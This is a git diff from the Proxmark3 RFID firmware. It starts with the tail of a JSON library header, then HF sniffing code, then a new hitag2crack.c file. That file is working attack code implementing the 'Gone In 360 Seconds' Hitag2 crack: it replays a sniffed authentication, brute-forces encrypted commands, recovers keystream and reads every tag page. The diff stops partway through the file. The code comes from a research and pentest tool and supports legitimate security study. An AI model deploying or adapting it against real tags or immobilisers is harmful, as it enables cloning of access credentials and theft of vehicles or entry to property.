*\"bar\": [ 1, 2, { \"baz\": true } ] }"
*/
typedef void (*json_walk_callback_t)(void *callback_data, const char *name,
size_t name_len, const char *path,
const struct json_token *token);
/*
* Parse `json_string`, invoking `callback` in a way similar to SAX parsers;
* see `json_walk_callback_t`.
* Return number of processed bytes, or a negative error code.
*/
int json_walk(const char *json_string, int json_string_length,
json_walk_callback_t callback, void *callback_data);
/*
* JSON generation API.
* struct json_out abstracts output, allowing alternative printing plugins.
*/
struct json_out {
int (*printer)(struct json_out *, const char *str, size_t len);
union {
struct {
char *buf;
size_t size;
size_t len;
} buf;
void *data;
FILE *fp;
} u;
};
extern int json_printer_buf(struct json_out *, const char *, size_t);
extern int json_printer_file(struct json_out *, const char *, size_t);
#define JSON_OUT_BUF(buf, len) \
{ \
json_printer_buf, { \
{ buf, len, 0 } \
} \
}
#define JSON_OUT_FILE(fp) \
{ \
json_printer_file, { \
{ (char *) fp, 0, 0 } \
} \
}
typedef int (*json_printf_callback_t)(struct json_out *, va_list *ap);
/*
* Generate formatted output into a given sting buffer.
* This is a superset of printf() function, with extra format specifiers:
* - `%B` print json boolean, `true` or `false`. Accepts an `int`.
* - `%Q` print quoted escaped string or `null`. Accepts a `const char *`.
* - `%.*Q` same as `%Q`, but with length. Accepts `int`, `const char *`
* - `%V` print quoted base64-encoded string. Accepts a `const char *`, `int`.
* - `%H` print quoted hex-encoded string. Accepts a `int`, `const char *`.
* - `%M` invokes a json_printf_callback_t function. That callback function
* can consume more parameters.
*
* Return number of bytes printed. If the return value is bigger than the
* supplied buffer, that is an indicator of overflow. In the overflow case,
* overflown bytes are not printed.
*/
int json_printf(struct json_out *, const char *fmt, ...);
int json_vprintf(struct json_out *, const char *fmt, va_list xap);
/*
* Same as json_printf, but prints to a file.
* File is created if does not exist. File is truncated if already exists.
*/
int json_fprintf(const char *file_name, const char *fmt, ...);
int json_vfprintf(const char *file_name, const char *fmt, va_list ap);
/*
* Print JSON into an allocated 0-terminated string.
* Return allocated string, or NULL on error.
* Example:
*
* ```c
* char *str = json_asprintf("{a:%H}", 3, "abc");
* printf("%s\n", str); // Prints "616263"
* free(str);
* ```
*/
char *json_asprintf(const char *fmt, ...);
char *json_vasprintf(const char *fmt, va_list ap);
/*
* Helper %M callback that prints contiguous C arrays.
* Consumes void *array_ptr, size_t array_size, size_t elem_size, char *fmt
* Return number of bytes printed.
*/
int json_printf_array(struct json_out *, va_list *ap);
/*
* Scan JSON string `str`, performing scanf-like conversions according to `fmt`.
* This is a `scanf()` - like function, with following differences:
*
* 1. Object keys in the format string may be not quoted, e.g. "{key: %d}"
* 2. Order of keys in an object is irrelevant.
* 3. Several extra format specifiers are supported:
* - %B: consumes `int *` (or `char *`, if `sizeof(bool) == sizeof(char)`),
* expects boolean `true` or `false`.
* - %Q: consumes `char **`, expects quoted, JSON-encoded string. Scanned
* string is malloc-ed, caller must free() the string.
* - %V: consumes `char **`, `int *`. Expects base64-encoded string.
* Result string is base64-decoded, malloced and NUL-terminated.
* The length of result string is stored in `int *` placeholder.
* Caller must free() the result.
* - %H: consumes `int *`, `char **`.
* Expects a hex-encoded string, e.g. "fa014f".
* Result string is hex-decoded, malloced and NUL-terminated.
* The length of the result string is stored in `int *` placeholder.
* Caller must free() the result.
* - %M: consumes custom scanning function pointer and
* `void *user_data` parameter - see json_scanner_t definition.
* - %T: consumes `struct json_token *`, fills it out with matched token.
*
* Return number of elements successfully scanned & converted.
* Negative number means scan error.
*/
int json_scanf(const char *str, int len, const char *fmt, ...);
int json_vscanf(const char *str, int len, const char *fmt, va_list ap);
/* json_scanf's %M handler */
typedef void (*json_scanner_t)(const char *str, int len, void *user_data);
/*
* Helper function to scan array item with given path and index.
* Fills `token` with the matched JSON token.
* Return -1 if no array element found, otherwise non-negative token length.
*/
int json_scanf_array_elem(const char *s, int len, const char *path, int idx, struct json_token *token);
/*
* Unescape JSON-encoded string src,slen into dst, dlen.
* src and dst may overlap.
* If destination buffer is too small (or zero-length), result string is not
* written but the length is counted nevertheless (similar to snprintf).
* Return the length of unescaped string in bytes.
*/
int json_unescape(const char *src, int slen, char *dst, int dlen);
/*
* Escape a string `str`, `str_len` into the printer `out`.
* Return the number of bytes printed.
*/
int json_escape(struct json_out *out, const char *str, size_t str_len);
/*
* Read the whole file in memory.
* Return malloc-ed file content, or NULL on error. The caller must free().
*/
char *json_fread(const char *path);
/*
* Update given JSON string `s,len` by changing the value at given `json_path`.
* The result is saved to `out`. If `json_fmt` == NULL, that deletes the key.
* If path is not present, missing keys are added. Array path without an
* index pushes a value to the end of an array.
* Return 1 if the string was changed, 0 otherwise.
*
* Example: s is a JSON string { "a": 1, "b": [ 2 ] }
* json_setf(s, len, out, ".a", "7"); // { "a": 7, "b": [ 2 ] }
* json_setf(s, len, out, ".b", "7"); // { "a": 1, "b": 7 }
* json_setf(s, len, out, ".b[]", "7"); // { "a": 1, "b": [ 2,7 ] }
* json_setf(s, len, out, ".b", NULL); // { "a": 1 }
*/
int json_setf(const char *s, int len, struct json_out *out,
const char *json_path, const char *json_fmt, ...);
int json_vsetf(const char *s, int len, struct json_out *out,
const char *json_path, const char *json_fmt, va_list ap);
/*
* Pretty-print JSON string `s,len` into `out`.
* Return number of processed bytes in `s`.
*/
int json_prettify(const char *s, int len, struct json_out *out);
/*
* Prettify JSON file `file_name`.
* Return number of processed bytes, or negative number of error.
* On error, file content is not modified.
*/
int json_prettify_file(const char *file_name);
/*
* Iterate over an object at given JSON `path`.
* On each iteration, fill the `key` and `val` tokens. It is OK to pass NULL
* for `key`, or `val`, in which case they won't be populated.
* Return an opaque value suitable for the next iteration, or NULL when done.
*
* Example:
*
* ```c
* void *h = NULL;
* struct json_token key, val;
* while ((h = json_next_key(s, len, h, ".foo", &key, &val)) != NULL) {
* printf("[%.*s] -> [%.*s]\n", key.len, key.ptr, val.len, val.ptr);
* }
* ```
*/
void *json_next_key(const char *s, int len, void *handle, const char *path,
struct json_token *key, struct json_token *val);
/*
* Iterate over an array at given JSON `path`.
* Similar to `json_next_key`, but fills array index `idx` instead of `key`.
*/
void *json_next_elem(const char *s, int len, void *handle, const char *path,
int *idx, struct json_token *val);
#ifndef JSON_MAX_PATH_LEN
#define JSON_MAX_PATH_LEN 256
#endif
#ifndef JSON_MINIMAL
#define JSON_MINIMAL 1
#endif
#ifndef JSON_ENABLE_BASE64
#define JSON_ENABLE_BASE64 !JSON_MINIMAL
#endif
#ifndef JSON_ENABLE_HEX
#define JSON_ENABLE_HEX !JSON_MINIMAL
#endif
#endif /* CS_FROZEN_FROZEN_H_ */

View file

@ -1,10 +1,22 @@
#include "proxmark3.h"
#include "apps.h"
//-----------------------------------------------------------------------------
// piwi, 2019
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Routines to get sample data from FPGA.
//-----------------------------------------------------------------------------
#include "hfsnoop.h"
#include "proxmark3_arm.h"
#include "BigBuf.h"
#include "fpgaloader.h"
#include "ticks.h"
#include "dbprint.h"
#include "util.h"
#include "usb_cdc.h" // for usb_poll_validate_length
static void RAMFUNC optimizedSniff(void);
#include "fpga.h"
#include "appmain.h"
#include "cmd.h"
static void RAMFUNC optimizedSniff(void) {
int n = BigBuf_max_traceLen() / sizeof(uint16_t); // take all memory
@ -77,3 +89,42 @@ void HfSniff(int samplesToSkip, int triggersToSkip) {
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LED_D_OFF();
}
void HfPlotDownload(void) {
uint8_t *buf = ToSend;
uint8_t *this_buf = buf;
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
FpgaSetupSsc();
AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS; // Disable DMA Transfer
AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) this_buf; // start transfer to this memory address
AT91C_BASE_PDC_SSC->PDC_RCR = PM3_CMD_DATA_SIZE; // transfer this many samples
buf[0] = (uint8_t)AT91C_BASE_SSC->SSC_RHR; // clear receive register
AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTEN; // Start DMA transfer
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_GET_TRACE); // let FPGA transfer its internal Block-RAM
LED_B_ON();
for (size_t i = 0; i < FPGA_TRACE_SIZE; i += PM3_CMD_DATA_SIZE) {
// prepare next DMA transfer:
uint8_t *next_buf = buf + ((i + PM3_CMD_DATA_SIZE) % (2 * PM3_CMD_DATA_SIZE));
AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t)next_buf;
AT91C_BASE_PDC_SSC->PDC_RNCR = PM3_CMD_DATA_SIZE;
size_t len = MIN(FPGA_TRACE_SIZE - i, PM3_CMD_DATA_SIZE);
while (!(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_ENDRX))) {}; // wait for DMA transfer to complete
reply_old(CMD_FPGAMEM_DOWNLOADED, i, len, FPGA_TRACE_SIZE, this_buf, len);
this_buf = next_buf;
}
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
// Trigger a finish downloading signal with an ACK frame
reply_mix(CMD_ACK, 1, 0, FPGA_TRACE_SIZE, 0, 0);
LED_B_OFF();
}

17
armsrc/hfsnoop.h Normal file
View file

@ -0,0 +1,17 @@
//-----------------------------------------------------------------------------
// Jonathan Westhues, Aug 2005
// Gerhard de Koning Gans, April 2008, May 2011
// Piwi, Feb 2019
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Definitions internal to the app source.
//-----------------------------------------------------------------------------
#ifndef __HFSNOOP_H
#define __HFSNOOP_H
void HfSniff(int, int);
void HfPlotDownload(void);
#endif

File diff suppressed because it is too large Load diff

View file

@ -11,12 +11,11 @@
#ifndef _HITAG2_H_
#define _HITAG2_H_
#include <stdint.h>
#include <stdbool.h>
#include "common.h"
#include "hitag.h"
void SniffHitag(void);
void SimulateHitagTag(bool tag_mem_supplied, uint8_t *data);
void SniffHitag2(void);
void SimulateHitag2(bool tag_mem_supplied, uint8_t *data);
void ReaderHitag(hitag_function htf, hitag_data *htd);
void WriterHitag(hitag_function htf, hitag_data *htd, int page);

View file

@ -11,6 +11,9 @@
//-----------------------------------------------------------------------------
#include "hitag2_crypto.h"
#include "util.h"
#include "string.h"
/* Following is a modified version of cryptolib.com/ciphers/hitag2/ */
// Software optimized 48-bit Philips/NXP Mifare Hitag2 PCF7936/46/47/52 stream cipher algorithm by I.C. Wiener 2006-2007.
// For educational purposes only.

View file

@ -1,12 +1,7 @@
#ifndef __HITAG2_CRYPTO_H
#define __HITAG2_CRYPTO_H
#ifdef __cplusplus
extern "C" {
#endif
#include "string.h"
#include "util.h"
#include "common.h"
struct hitag2_tag {
uint32_t uid;
@ -29,8 +24,5 @@ uint32_t _hitag2_byte(uint64_t *x);
void hitag2_cipher_reset(struct hitag2_tag *tag, const uint8_t *iv);
int hitag2_cipher_authenticate(uint64_t *cs, const uint8_t *authenticator_is);
int hitag2_cipher_transcrypt(uint64_t *cs, uint8_t *data, uint16_t bytes, uint16_t bits) ;
#ifdef __cplusplus
}
#endif
#endif

833
armsrc/hitag2crack.c Normal file
View file

@ -0,0 +1,833 @@
//-----------------------------------------------------------------------------
// Kevin Sheldrake <kev@headhacking.com>, Aug 2018
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//
// iceman, Jan, 2020
// doegox, Jan, 2020
//-----------------------------------------------------------------------------
// hitag2 attack functions
//-----------------------------------------------------------------------------
#include "hitag2_crypto.h"
#include "hitag2crack.h"
#define READP0CMD "1100000111"
#define ERROR_RESPONSE "F402889C"
extern const uint8_t Hitag2Sync[5];
extern bool CryptoActive;
extern Hitag_State Hitag_Crypto_State;
// hitag2_crack implements the first crack algorithm described in the paper,
// Gone In 360 Seconds by Verdult, Garcia and Balasch.
// response is a multi-line text response containing the 8 pages of the
// cracked tag;
// nrarhex is a string containing hex representations of the 32 bit nR and aR
// values (separated by a space) snooped using SNIFF-PWM.
bool hitag2_crack(uint8_t *response, uint8_t *nrarhex) {
uint8_t uidhex[9];
uint8_t uid[32];
uint8_t nrar[64];
uint8_t e_firstcmd[10];
uint8_t e_page0cmd[10];
uint8_t keybits[42];
uint8_t pagehex[9];
uint8_t temp[20];
int i;
uint8_t *spaceptr = NULL;
// get uid as hexstring
if (!hitag2_get_uid(uidhex)) {
UserMessage("Cannot get UID\r\n");
return false;
}
// convert uid hexstring to binarray
hextobinarray(uid, uidhex);
// convert nR and aR hexstrings to binarray
spaceptr = strchr(nrarhex, ' ');
if (!spaceptr) {
UserMessage("Please supply a valid nR aR pair\r\n");
return false;
}
*spaceptr = 0x00;
if (hextobinarray(nrar, nrarhex) != 32) {
UserMessage("nR is not 32 bits long\r\n");
return false;
}
if (hextobinarray(nrar + 32, spaceptr + 1) != 32) {
UserMessage("aR is not 32 bits long\r\n");
return false;
}
// find a valid encrypted command
if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar)) {
UserMessage("Cannot find a valid encrypted command\r\n");
return false;
}
// find the 'read page 0' command and recover key stream
if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid)) {
UserMessage("Cannot find encrypted 'read page0' command\r\n");
return false;
}
// empty the response string
response[0] = 0x00;
// read all pages using key stream
for (i = 0; i < 8; i++) {
if (hitag2crack_read_page(pagehex, i, nrar, keybits)) {
sprintf(temp, "%1d: %s\r\n", i, pagehex);
} else {
sprintf(temp, "%1d:\r\n", i);
}
// add page string to response
strcat(response, temp);
}
return true;
}
// hitag2crack_find_valid_e_cmd repeatedly replays the auth protocol each
// with a different sequential encrypted command value in order to find one
// that returns a valid response.
// e_cmd is the returned binarray of the valid encrypted command;
// nrar is the binarray of the 64 bit nR aR pair.
bool hitag2crack_find_valid_e_cmd(uint8_t e_cmd[], uint8_t nrar[]) {
uint8_t guess[10];
uint8_t responsestr[9];
// UserMessage("Finding valid encrypted command:");
// we're going to hold bits 5, 7, 8 and 9 and brute force the rest
// e.g. x x x x x 0 x 0 0 0
for (uint8_t a = 0; a < 2; a++) {
for (uint8_t b = 0; b < 2; b++) {
for (uint8_t c = 0; c < 2; c++) {
for (uint8_t d = 0; d < 2; d++) {
for (uint8_t e = 0; e < 2; e++) {
for (uint8_t g = 0; g < 2; g++) {
// build binarray
guess[0] = a;
guess[1] = b;
guess[2] = c;
guess[3] = d;
guess[4] = e;
guess[5] = 0;
guess[6] = g;
guess[7] = 0;
guess[8] = 0;
guess[9] = 0;
// send guess
if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10)) {
// check if it was valid
if (strcmp(responsestr, ERROR_RESPONSE) != 0) {
// return the guess as the encrypted command
memcpy(e_cmd, guess, 10);
return true;
}
} else {
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_find_valid_e_cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
#endif
}
UserMessage(".");
}
}
}
}
}
}
// UserMessage("hitag2crack_find_valid_e_cmd:\r\n no valid encrypted command found\r\n");
return false;
}
// hitag2crack_find_e_page0_cmd tries all bit-flipped combinations of the
// valid encrypted command and tests the results by attempting an extended
// command version of the command to see if that produces a valid response.
// keybits is the returned binarray of the recovered key stream;
// e_page0cmd is the returned binarray of the encrypted 'read page 0' command;
// e_firstcmd is the binarray of the first valid encrypted command found;
// nrar is the binarray of the 64 bit nR aR pair;
// uid is the binarray of the 32 bit UID.
bool hitag2crack_find_e_page0_cmd(uint8_t keybits[], uint8_t e_firstcmd[], uint8_t nrar[], uint8_t uid[]) {
uint8_t a, b, c, d;
uint8_t guess[10];
uint8_t responsestr[9];
uint8_t e_uid[32];
UserMessage("Finding 'read page 0' command:");
// we're going to brute the missing 4 bits of the valid encrypted command
for (a = 0; a < 2; a++) {
for (b = 0; b < 2; b++) {
for (c = 0; c < 2; c++) {
for (d = 0; d < 2; d++) {
// create our guess by bit flipping the pattern of bits
// representing the inverted bit and the 3 page bits
// in both the non-inverted and inverted parts of the
// encrypted command.
memcpy(guess, e_firstcmd, 10);
if (a) {
guess[5] = !guess[5];
guess[0] = !guess[0];
}
if (b) {
guess[7] = !guess[7];
guess[2] = !guess[2];
}
if (c) {
guess[8] = !guess[8];
guess[3] = !guess[3];
}
if (d) {
guess[9] = !guess[9];
guess[4] = !guess[4];
}
// try the guess
if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10)) {
// check if it was valid
if (strcmp(responsestr, ERROR_RESPONSE) != 0) {
// convert response to binarray
hextobinarray(e_uid, responsestr);
// test if the guess was 'read page 0' command
if (hitag2crack_test_e_p0cmd(keybits, nrar, guess, uid, e_uid)) {
return true;
}
} else {
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n");
#endif
}
} else {
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
#endif
}
UserMessage(".");
}
}
}
}
UserMessage("hitag2crack_find_e_page0_cmd:\r\n could not find encrypted 'read page 0' command\r\n");
return false;
}
// hitag2crack_test_e_p0cmd XORs the message (command + response) with the
// encrypted version to retrieve the key stream. It then uses this key stream
// to encrypt an extended version of the READP0CMD and tests if the response
// is valid.
// keybits is the returned binarray of the key stream;
// nrar is the 64 bit binarray of nR aR pair;
// e_cmd is the binarray of the encrypted command;
// uid is the binarray of the card UID;
// e_uid is the binarray of the encrypted version of the UID.
bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid) {
uint8_t cipherbits[42];
uint8_t plainbits[42];
uint8_t ext_cmd[40];
uint8_t e_ext_cmd[40];
uint8_t responsestr[9];
int i;
// copy encrypted cmd to cipherbits
memcpy(cipherbits, e_cmd, 10);
// copy encrypted uid to cipherbits
memcpy(cipherbits + 10, e_uid, 32);
// copy cmd to plainbits
binstringtobinarray(plainbits, READP0CMD);
// copy uid to plainbits
memcpy(plainbits + 10, uid, 32);
// xor the plainbits with the cipherbits to get keybits
hitag2crack_xor(keybits, plainbits, cipherbits, 42);
// create extended cmd -> 4 * READP0CMD = 40 bits
for (i = 0; i < 4; i++) {
binstringtobinarray(ext_cmd + (i * 10), READP0CMD);
}
// xor extended cmd with keybits
hitag2crack_xor(e_ext_cmd, ext_cmd, keybits, 40);
// send extended encrypted cmd
if (hitag2crack_send_e_cmd(responsestr, nrar, e_ext_cmd, 40)) {
// test if it was valid
if (strcmp(responsestr, ERROR_RESPONSE) != 0) {
return true;
}
} else {
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_test_e_p0cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
#endif
}
return false;
}
// hitag2crack_xor XORs the source with the pad to produce the target.
// source, target and pad are binarrays of length len.
void hitag2crack_xor(uint8_t *target, uint8_t *source, uint8_t *pad, unsigned int len) {
for (int i = 0; i < len; i++) {
target[i] = source[i] ^ pad[i];
}
}
// hitag2crack_read_page uses the supplied key stream and nrar pair to read the
// given page, returning the response as a hexstring.
// responsestr is the returned hexstring;
// pagenum is the page number to read;
// nrar is the 64 bit binarray of the nR aR pair;
// keybits is the binarray of the key stream.
bool hitag2crack_read_page(uint8_t *responsestr, uint8_t pagenum, uint8_t *nrar, uint8_t *keybits) {
uint8_t cmd[10];
uint8_t e_cmd[10];
uint8_t e_responsestr[9];
uint8_t e_response[32];
uint8_t response[32];
int i;
if (pagenum > 7) {
UserMessage("hitag2crack_read_page:\r\n invalid pagenum\r\n");
return false;
}
// create cmd
binstringtobinarray(cmd, READP0CMD);
if (pagenum & 0x1) {
cmd[9] = !cmd[9];
cmd[4] = !cmd[4];
}
if (pagenum & 0x2) {
cmd[8] = !cmd[8];
cmd[3] = !cmd[3];
}
if (pagenum & 0x4) {
cmd[7] = !cmd[7];
cmd[2] = !cmd[2];
}
// encrypt command
hitag2crack_xor(e_cmd, cmd, keybits, 10);
// send encrypted command
if (hitag2crack_send_e_cmd(e_responsestr, nrar, e_cmd, 10)) {
// check if it is valid
if (strcmp(e_responsestr, ERROR_RESPONSE) != 0) {
// convert to binarray
hextobinarray(e_response, e_responsestr);
// decrypt response
hitag2crack_xor(response, e_response, keybits + 10, 32);
// convert to hexstring
binarraytohex(responsestr, response, 32);
return true;
} else {
UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n");
}
} else {
UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd failed\r\n");
}
return false;
}
// hitag2crack_send_e_cmd replays the auth and sends the given encrypted
// command.
// responsestr is the hexstring of the response to the command;
// nrar is the 64 bit binarray of the nR aR pair;
// cmd is the binarray of the encrypted command to send;
// len is the length of the encrypted command.
bool hitag2crack_send_e_cmd(uint8_t *responsestr, uint8_t *nrar, uint8_t *cmd, int len) {
// uint8_t tmp[37];
uint8_t uid[9];
uint8_t e_page3str[9];
int ret = 0;
// get the UID
if (!hitag2_get_uid(uid)) {
UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID\r\n");
return false;
}
// START_AUTH kills active crypto session
CryptoActive = false;
// get the UID again
if (!hitag2_get_uid(uid)) {
UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID (2nd time)\r\n");
return false;
}
// send nrar and receive (useless) encrypted page 3 value
if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, false)) {
UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx nrar failed\r\n");
return false;
}
// send encrypted command
if (!hitag2crack_tx_rx(responsestr, cmd, len, RWD_STATE_WAKING, false)) {
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx cmd failed\r\n");
#endif
return false;
}
return true;
}
// hitag2crack_tx_rx transmits a message and receives a response.
// responsestr is the hexstring of the response;
// msg is the binarray of the message to send;
// state is the RWD state;
// reset indicates whether to reset RWD state after.
bool hitag2crack_tx_rx(uint8_t *responsestr, uint8_t *msg, int len, int state, bool reset) {
uint8_t tmp[37];
int ret = 0;
// START_AUTH kills active crypto session
CryptoActive = false;
if (!rwd_send(msg, len, reset, BLOCK, state, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX)) {
UserMessage("hitag2crack_tx_rx: rwd_send failed\r\n");
return false;
}
// skip 1/2 bit to synchronise manchester
HW_Skip_Bits = 1;
ret = read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, 37, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY);
// check if response was a valid length (5 sync bits + 32 bits response)
if (ret == 37) {
// check sync bits
if (memcmp(tmp, Hitag2Sync, 5) != 0) {
UserMessage("hitag2crack_tx_rx: no sync\r\n");
return false;
}
// convert response to hexstring
binarraytohex(responsestr, tmp + 5, 32);
return true;
} else {
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_tx_rx: wrong rx len\r\n");
#endif
return false;
}
return false;
}
bool hitag2crack_rng_init(uint8_t *response, uint8_t *input) {
uint64_t sharedkey;
uint32_t serialnum;
uint32_t initvector;
uint8_t *spaceptr;
uint8_t *dataptr;
// extract vals from input
dataptr = input;
spaceptr = strchr(dataptr, ' ');
if (!spaceptr) {
UserMessage("/r/nformat is 'sharedkey UID nR' in hex\r\n");
return false;
}
*spaceptr = 0x00;
if (strlen(dataptr) != 12) {
UserMessage("/r/nsharedkey should be 48 bits long (12 hexchars)\r\n");
return false;
}
sharedkey = rev64(hexreversetoulonglong(dataptr));
dataptr = spaceptr + 1;
spaceptr = strchr(dataptr, ' ');
if (!spaceptr) {
UserMessage("/r/nno UID\r\n");
return false;
}
*spaceptr = 0x00;
if (strlen(dataptr) != 8) {
UserMessage("/r/nUID should be 32 bits long (8 hexchars)\r\n");
return false;
}
serialnum = rev32(hexreversetoulong(dataptr));
dataptr = spaceptr + 1;
if (strlen(dataptr) != 8) {
UserMessage("/r/nnR should be 32 bits long (8 hexchars)\r\n");
return false;
}
initvector = rev32(hexreversetoulong(dataptr));
// start up crypto engine
hitag2_init(&Hitag_Crypto_State, sharedkey, serialnum, initvector);
strcpy(response, "Success\r\n");
return true;
}
bool hitag2crack_decrypt_hex(uint8_t *response, uint8_t *hex) {
uint8_t bin[32];
uint8_t binhex[9];
uint8_t binstr[33];
uint32_t binulong;
if (strlen(hex) != 8) {
UserMessage("/r/nhex must be 32bits (8 hex chars)\r\n");
return false;
}
binulong = hextoulong(hex);
ulongtobinarray(bin, hitag2_crypt(binulong, 32), 32);
binarraytobinstring(binstr, bin, 32);
binarraytohex(binhex, bin, 32);
// UserMessage("ar = %s\r\n", binstr);
// UserMessage("arhex = %s\r\n", binhex);
strcpy(response, binhex);
return true;
}
bool hitag2crack_decrypt_bin(uint8_t *response, uint8_t *e_binstr) {
uint8_t bin[32];
uint8_t e_bin[32];
uint8_t binstr[33];
uint32_t binulong;
int len;
len = strlen(e_binstr);
if (len > 32) {
UserMessage("\r\nbinary string must be <= 32 bits\r\n");
return false;
}
binstringtobinarray(e_bin, e_binstr);
binulong = binarraytoulong(e_bin, len);
ulongtobinarray(bin, hitag2_crypt(binulong, len), len);
binarraytobinstring(binstr, bin, len);
strcpy(response, binstr);
return true;
}
bool hitag2crack_encrypt_hex(uint8_t *response, uint8_t *hex) {
// XOR pad so encrypt == decrypt :)
return hitag2crack_decrypt_hex(response, hex);
}
bool hitag2crack_encrypt_bin(uint8_t *response, uint8_t *e_binstr) {
return hitag2crack_decrypt_bin(response, e_binstr);
}
// hitag2_keystream uses the first crack algorithm described in the paper,
// Gone In 360 Seconds by Verdult, Garcia and Balasch, to retrieve 2048 bits
// of keystream.
// response is a multi-line text response containing the hex of the keystream;
// nrarhex is a string containing hex representations of the 32 bit nR and aR
// values (separated by a space) snooped using SNIFF-PWM.
bool hitag2_keystream(uint8_t *response, uint8_t *nrarhex) {
uint8_t uidhex[9];
uint8_t uid[32];
uint8_t nrar[64];
uint8_t e_firstcmd[10];
// uint8_t e_page0cmd[10];
// uint8_t keybits[2080];
uint8_t *keybits = DataBuff;
uint8_t keybitshex[67];
int kslen;
int ksoffset;
// uint8_t pagehex[9];
// uint8_t temp[20];
int i;
uint8_t *spaceptr = NULL;
/*
keybits = malloc(2080);
if (!keybits) {
UserMessage("cannot malloc keybits\r\n");
return false;
}
*/
// get uid as hexstring
if (!hitag2_get_uid(uidhex)) {
UserMessage("Cannot get UID\r\n");
return false;
}
// convert uid hexstring to binarray
hextobinarray(uid, uidhex);
// convert nR and aR hexstrings to binarray
spaceptr = strchr(nrarhex, ' ');
if (!spaceptr) {
UserMessage("Please supply a valid nR aR pair\r\n");
return false;
}
*spaceptr = 0x00;
if (hextobinarray(nrar, nrarhex) != 32) {
UserMessage("nR is not 32 bits long\r\n");
return false;
}
if (hextobinarray(nrar + 32, spaceptr + 1) != 32) {
UserMessage("aR is not 32 bits long\r\n");
return false;
}
// find a valid encrypted command
if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar)) {
UserMessage("Cannot find a valid encrypted command\r\n");
return false;
}
// find the 'read page 0' command and recover key stream
if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid)) {
UserMessage("Cannot find encrypted 'read page0' command\r\n");
return false;
}
// using the 40 bits of keystream in keybits, sending commands with ever
// increasing lengths to acquire 2048 bits of key stream.
kslen = 40;
while (kslen < 2048) {
ksoffset = 0;
if (!hitag2crack_send_auth(nrar)) {
UserMessage("hitag2crack_send_auth failed\r\n");
return false;
}
// while we have at least 52 bits of keystream, consume it with
// extended read page 0 commands. 52 = 10 (min command len) +
// 32 (response) + 10 (min command len we'll send)
while ((kslen - ksoffset) >= 52) {
// consume the keystream, updating ksoffset as we go
if (!hitag2crack_consume_keystream(keybits, kslen, &ksoffset, nrar)) {
UserMessage("hitag2crack_consume_keystream failed\r\n");
return false;
}
}
// send an extended command to retrieve more keystream, updating kslen
// as we go
if (!hitag2crack_extend_keystream(keybits, &kslen, ksoffset, nrar, uid)) {
UserMessage("hitag2crack_extend_keystream failed\r\n");
return false;
}
UserMessage("Recovered %d bits of keystream\r\n", kslen);
}
for (i = 0; i < 2048; i += 256) {
binarraytohex(keybitshex, keybits + i, 256);
UserMessage("%s\r\n", keybitshex);
}
response[0] = 0x00;
return true;
}
// hitag2crack_send_auth replays the auth and returns.
// nrar is the 64 bit binarray of the nR aR pair;
bool hitag2crack_send_auth(uint8_t *nrar) {
uint8_t uid[9];
uint8_t e_page3str[9];
// get the UID
if (!hitag2_get_uid(uid)) {
UserMessage("hitag2crack_send_auth:\r\n cannot get UID\r\n");
return false;
}
// START_AUTH kills active crypto session
CryptoActive = false;
// get the UID again
if (!hitag2_get_uid(uid)) {
UserMessage("hitag2crack_send_auth:\r\n cannot get UID (2nd time)\r\n");
return false;
}
// send nrar and receive (useless) encrypted page 3 value
if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, false)) {
UserMessage("hitag2crack_send_auth:\r\n tx/rx nrar failed\r\n");
return false;
}
return true;
}
// hitag2crack_consume_keystream sends an extended command (up to 510 bits in
// length) to consume keystream.
// keybits is the binarray of keystream bits;
// kslen is the length of keystream;
// ksoffset is a pointer to the current keystream offset (updated by this fn);
// nrar is the 64 bit binarray of the nR aR pair.
